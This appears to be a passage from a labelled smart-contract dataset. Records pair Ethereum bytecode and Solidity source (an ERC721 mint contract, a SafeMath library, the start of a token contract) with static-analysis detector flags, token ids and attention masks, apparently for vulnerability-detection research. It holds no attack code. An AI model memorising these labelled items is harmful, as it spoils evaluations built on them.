00a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061253a613024565b91509150612551818361255890919063ffffffff16565b9250505090565b600061259a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132d9565b905092915050565b6000808314156125b55760009050612622565b60008284029050828482816125c657fe5b041461261d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134976021913960400191505060405180910390fd5b809150505b92915050565b6000806000612654600261264660648761255890919063ffffffff16565b6125a290919063ffffffff16565b9050600061266b8286611c7490919063ffffffff16565b90508082935093505050915091565b60008060008061269385886125a290919063ffffffff16565b905060006126aa86886125a290919063ffffffff16565b905060006126c18284611c7490919063ffffffff16565b905082818395509550955050505093509350939050565b60008060008060006126e986611c1c565b9450945094509450945061274586600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127da85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061286f84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128bc838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061293c86611c1c565b9450945094509450945061299885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2d82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ac284600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b0f838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612b8f86611c1c565b94509450945094509450612beb85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ccd838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612d4d86611c1c565b94509450945094509450612da986600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3e85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ed382600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fb5838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b60058054905081101561328a5782600160006005848154811061306057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061314757508160026000600584815481106130df57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613167576006546a52b7d2dcc80cd2e4000000945094505050506132d5565b6131f0600160006005848154811061317b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611c7490919063ffffffff16565b925061327b600260006005848154811061320657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c7490919063ffffffff16565b91508080600101915050613041565b506132ab6a52b7d2dcc80cd2e400000060065461255890919063ffffffff16565b8210156132cc576006546a52b7d2dcc80cd2e40000009350935050506132d5565b81819350935050505b9091565b60008083118290613385576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561334a57808201518184015260208101905061332f565b50505050905090810190601f1680156133775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161339157fe5b049050809150509392505050565b6133b482600654611c7490919063ffffffff16565b6006819055506133cf81600754611cbe90919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204172ba3bf4dfbe0303a23a855786ae53a32ac77d7609cf031d2b64c77476587764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2487, 7959, 6305, 2581, 2581, 19841, 12521, 2497, 2692, 14141, 2575, 2475, 16409, 2050, 2581, 21619, 2487, 11329, 2094, 2487, 2278, 21486, 2278, 2581, 23499, 2629, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,456
0x96d253d65934fc8c749b5d50d3d30c600a7ca773
pragma solidity 0.8.3; import "./ERC721.sol"; // SPDX-License-Identifier: MIT contract Exponential is ERC721 { uint public exponentsMinted; address contractCreator; string baseURI; constructor() ERC721("Exponential", "EXP") { contractCreator = msg.sender; baseURI = "ipfs://QmbuZUpMQGmbyjGH6XstCMcsynxUN4QN7TEzkNHAGDCqnk/"; } modifier isContractCreator() { require(msg.sender == contractCreator); _; } function mint() external payable returns (uint256) { require(msg.value == 2 ** exponentsMinted); uint id = exponentsMinted++; _safeMint(msg.sender, id); return id; } function _baseURI() internal override view virtual returns (string memory) { return baseURI; } function updateBaseURI(string memory uri) external isContractCreator { baseURI = uri; } function updateOwner(address newOwner) external isContractCreator { contractCreator = newOwner; } function withdrawEarnings() external isContractCreator { payable(msg.sender).transfer(address(this).balance); } }
0x6080604052600436106101095760003560e01c8063880cdc3111610095578063a22cb46511610064578063a22cb465146102c0578063b73c6ce9146102e0578063b88d4fde146102f5578063c87b56dd14610315578063e985e9c51461033557610109565b8063880cdc31146102555780638dd6649a14610275578063931688cb1461028b57806395d89b41146102ab57610109565b80631249c58b116100dc5780631249c58b146101bf57806323b872dd146101d557806342842e0e146101f55780636352211e1461021557806370a082311461023557610109565b806301ffc9a71461010e57806306fdde0314610143578063081812fc14610165578063095ea7b31461019d575b600080fd5b34801561011a57600080fd5b5061012e6101293660046113c8565b61037e565b60405190151581526020015b60405180910390f35b34801561014f57600080fd5b506101586103d2565b60405161013a91906114f6565b34801561017157600080fd5b50610185610180366004611446565b610464565b6040516001600160a01b03909116815260200161013a565b3480156101a957600080fd5b506101bd6101b836600461139f565b6104fe565b005b6101c7610614565b60405190815260200161013a565b3480156101e157600080fd5b506101bd6101f03660046112b1565b610656565b34801561020157600080fd5b506101bd6102103660046112b1565b610687565b34801561022157600080fd5b50610185610230366004611446565b6106a2565b34801561024157600080fd5b506101c7610250366004611265565b610719565b34801561026157600080fd5b506101bd610270366004611265565b6107a0565b34801561028157600080fd5b506101c760065481565b34801561029757600080fd5b506101bd6102a6366004611400565b6107d9565b3480156102b757600080fd5b50610158610807565b3480156102cc57600080fd5b506101bd6102db366004611365565b610816565b3480156102ec57600080fd5b506101bd6108e8565b34801561030157600080fd5b506101bd6103103660046112ec565b61092e565b34801561032157600080fd5b50610158610330366004611446565b610966565b34801561034157600080fd5b5061012e61035036600461127f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60006001600160e01b031982166380ac58cd60e01b14806103af57506001600160e01b03198216635b5e139f60e01b145b806103ca57506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b6060600080546103e19061172f565b80601f016020809104026020016040519081016040528092919081815260200182805461040d9061172f565b801561045a5780601f1061042f5761010080835404028352916020019161045a565b820191906000526020600020905b81548152906001019060200180831161043d57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166104e25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610509826106a2565b9050806001600160a01b0316836001600160a01b031614156105775760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016104d9565b336001600160a01b038216148061059357506105938133610350565b6106055760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016104d9565b61060f8383610a41565b505050565b60006006546002610625919061161e565b341461063057600080fd5b60068054600091826106418361176a565b9190505590506106513382610aaf565b905090565b6106603382610ac9565b61067c5760405162461bcd60e51b81526004016104d99061155b565b61060f838383610bc0565b61060f8383836040518060200160405280600081525061092e565b6000818152600260205260408120546001600160a01b0316806103ca5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016104d9565b60006001600160a01b0382166107845760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016104d9565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b031633146107b757600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031633146107f057600080fd5b805161080390600890602084019061113f565b5050565b6060600180546103e19061172f565b6001600160a01b03821633141561086f5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016104d9565b3360008181526005602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516108dc911515815260200190565b60405180910390a35050565b6007546001600160a01b031633146108ff57600080fd5b60405133904780156108fc02916000818181858888f1935050505015801561092b573d6000803e3d6000fd5b50565b6109383383610ac9565b6109545760405162461bcd60e51b81526004016104d99061155b565b61096084848484610d60565b50505050565b6000818152600260205260409020546060906001600160a01b03166109e55760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016104d9565b60006109ef610d93565b90506000815111610a0f5760405180602001604052806000815250610a3a565b80610a1984610da2565b604051602001610a2a92919061148a565b6040516020818303038152906040525b9392505050565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610a76826106a2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b610803828260405180602001604052806000815250610ebd565b6000818152600260205260408120546001600160a01b0316610b425760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016104d9565b6000610b4d836106a2565b9050806001600160a01b0316846001600160a01b03161480610b885750836001600160a01b0316610b7d84610464565b6001600160a01b0316145b80610bb857506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610bd3826106a2565b6001600160a01b031614610c3b5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016104d9565b6001600160a01b038216610c9d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016104d9565b610ca8600082610a41565b6001600160a01b0383166000908152600360205260408120805460019290610cd19084906116ec565b90915550506001600160a01b0382166000908152600360205260408120805460019290610cff9084906115ac565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610d6b848484610bc0565b610d7784848484610ef0565b6109605760405162461bcd60e51b81526004016104d990611509565b6060600880546103e19061172f565b606081610dc757506040805180820190915260018152600360fc1b60208201526103cd565b8160005b8115610df15780610ddb8161176a565b9150610dea9050600a836115c4565b9150610dcb565b60008167ffffffffffffffff811115610e1a57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610e44576020820181803683370190505b5090505b8415610bb857610e596001836116ec565b9150610e66600a86611785565b610e719060306115ac565b60f81b818381518110610e9457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350610eb6600a866115c4565b9450610e48565b610ec78383610ffd565b610ed46000848484610ef0565b61060f5760405162461bcd60e51b81526004016104d990611509565b60006001600160a01b0384163b15610ff257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290610f349033908990889088906004016114b9565b602060405180830381600087803b158015610f4e57600080fd5b505af1925050508015610f7e575060408051601f3d908101601f19168201909252610f7b918101906113e4565b60015b610fd8573d808015610fac576040519150601f19603f3d011682016040523d82523d6000602084013e610fb1565b606091505b508051610fd05760405162461bcd60e51b81526004016104d990611509565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610bb8565b506001949350505050565b6001600160a01b0382166110535760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016104d9565b6000818152600260205260409020546001600160a01b0316156110b85760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016104d9565b6001600160a01b03821660009081526003602052604081208054600192906110e19084906115ac565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461114b9061172f565b90600052602060002090601f01602090048101928261116d57600085556111b3565b82601f1061118657805160ff19168380011785556111b3565b828001600101855582156111b3579182015b828111156111b3578251825591602001919060010190611198565b506111bf9291506111c3565b5090565b5b808211156111bf57600081556001016111c4565b600067ffffffffffffffff808411156111f3576111f36117c5565b604051601f8501601f19908116603f0116810190828211818310171561121b5761121b6117c5565b8160405280935085815286868601111561123457600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146103cd57600080fd5b600060208284031215611276578081fd5b610a3a8261124e565b60008060408385031215611291578081fd5b61129a8361124e565b91506112a86020840161124e565b90509250929050565b6000806000606084860312156112c5578081fd5b6112ce8461124e565b92506112dc6020850161124e565b9150604084013590509250925092565b60008060008060808587031215611301578081fd5b61130a8561124e565b93506113186020860161124e565b925060408501359150606085013567ffffffffffffffff81111561133a578182fd5b8501601f8101871361134a578182fd5b611359878235602084016111d8565b91505092959194509250565b60008060408385031215611377578182fd5b6113808361124e565b915060208301358015158114611394578182fd5b809150509250929050565b600080604083850312156113b1578182fd5b6113ba8361124e565b946020939093013593505050565b6000602082840312156113d9578081fd5b8135610a3a816117db565b6000602082840312156113f5578081fd5b8151610a3a816117db565b600060208284031215611411578081fd5b813567ffffffffffffffff811115611427578182fd5b8201601f81018413611437578182fd5b610bb8848235602084016111d8565b600060208284031215611457578081fd5b5035919050565b60008151808452611476816020860160208601611703565b601f01601f19169290920160200192915050565b6000835161149c818460208801611703565b8351908301906114b0818360208801611703565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906114ec9083018461145e565b9695505050505050565b600060208252610a3a602083018461145e565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156115bf576115bf611799565b500190565b6000826115d3576115d36117af565b500490565b80825b60018086116115ea5750611615565b8187048211156115fc576115fc611799565b8086161561160957918102915b9490941c9380026115db565b94509492505050565b6000610a3a600019848460008261163757506001610a3a565b8161164457506000610a3a565b816001811461165a576002811461166457611691565b6001915050610a3a565b60ff84111561167557611675611799565b6001841b91508482111561168b5761168b611799565b50610a3a565b5060208310610133831016604e8410600b84101617156116c4575081810a838111156116bf576116bf611799565b610a3a565b6116d184848460016115d8565b8086048211156116e3576116e3611799565b02949350505050565b6000828210156116fe576116fe611799565b500390565b60005b8381101561171e578181015183820152602001611706565b838111156109605750506000910152565b600181811c9082168061174357607f821691505b6020821081141561176457634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561177e5761177e611799565b5060010190565b600082611794576117946117af565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461092b57600080fdfea26469706673582212203ba7488de9e64c1b88bde8c9029200e3753bcf44d7e59e6db51ee8dc81123e5964736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 17788, 29097, 26187, 2683, 22022, 11329, 2620, 2278, 2581, 26224, 2497, 2629, 2094, 12376, 2094, 29097, 14142, 2278, 16086, 2692, 2050, 2581, 3540, 2581, 2581, 2509, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1017, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 3206, 27258, 2003, 9413, 2278, 2581, 17465, 1063, 21318, 3372, 2270, 16258, 21576, 6491, 18447, 2098, 1025, 4769, 3206, 16748, 8844, 1025, 5164, 2918, 9496, 1025, 9570, 2953, 1006, 1007, 9413, 2278, 2581, 17465, 1006, 1000, 27258, 1000, 1010, 1000, 4654, 2361, 1000, 1007, 1063, 3206, 16748, 8844, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 2918, 9496, 1027, 1000, 12997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,457
0x96D358795782a73d90F2ed2d505aB235D197ca05
pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
0x7396d358795782a73d90f2ed2d505ab235d197ca0530146080604052600080fdfea265627a7a72315820430d9ffe093daeca3d2cabb94ddf4a7aa511a771c1fae3667e75c0029bc4c88164736f6c634300050b0032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 19481, 2620, 2581, 2683, 28311, 2620, 2475, 2050, 2581, 29097, 21057, 2546, 2475, 2098, 2475, 2094, 12376, 2629, 7875, 21926, 2629, 2094, 16147, 2581, 3540, 2692, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1016, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 27121, 8785, 3136, 2007, 3808, 14148, 2008, 7065, 8743, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 27121, 24028, 1010, 7065, 8743, 2015, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,458
0x96D42D0Ee8c76a287823C4cA815076C2b78Cc0aE
/** *Submitted for verification at Etherscan.io on 2021-12-08 */ /* https://t.me/KentuckyFriedDogeETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` 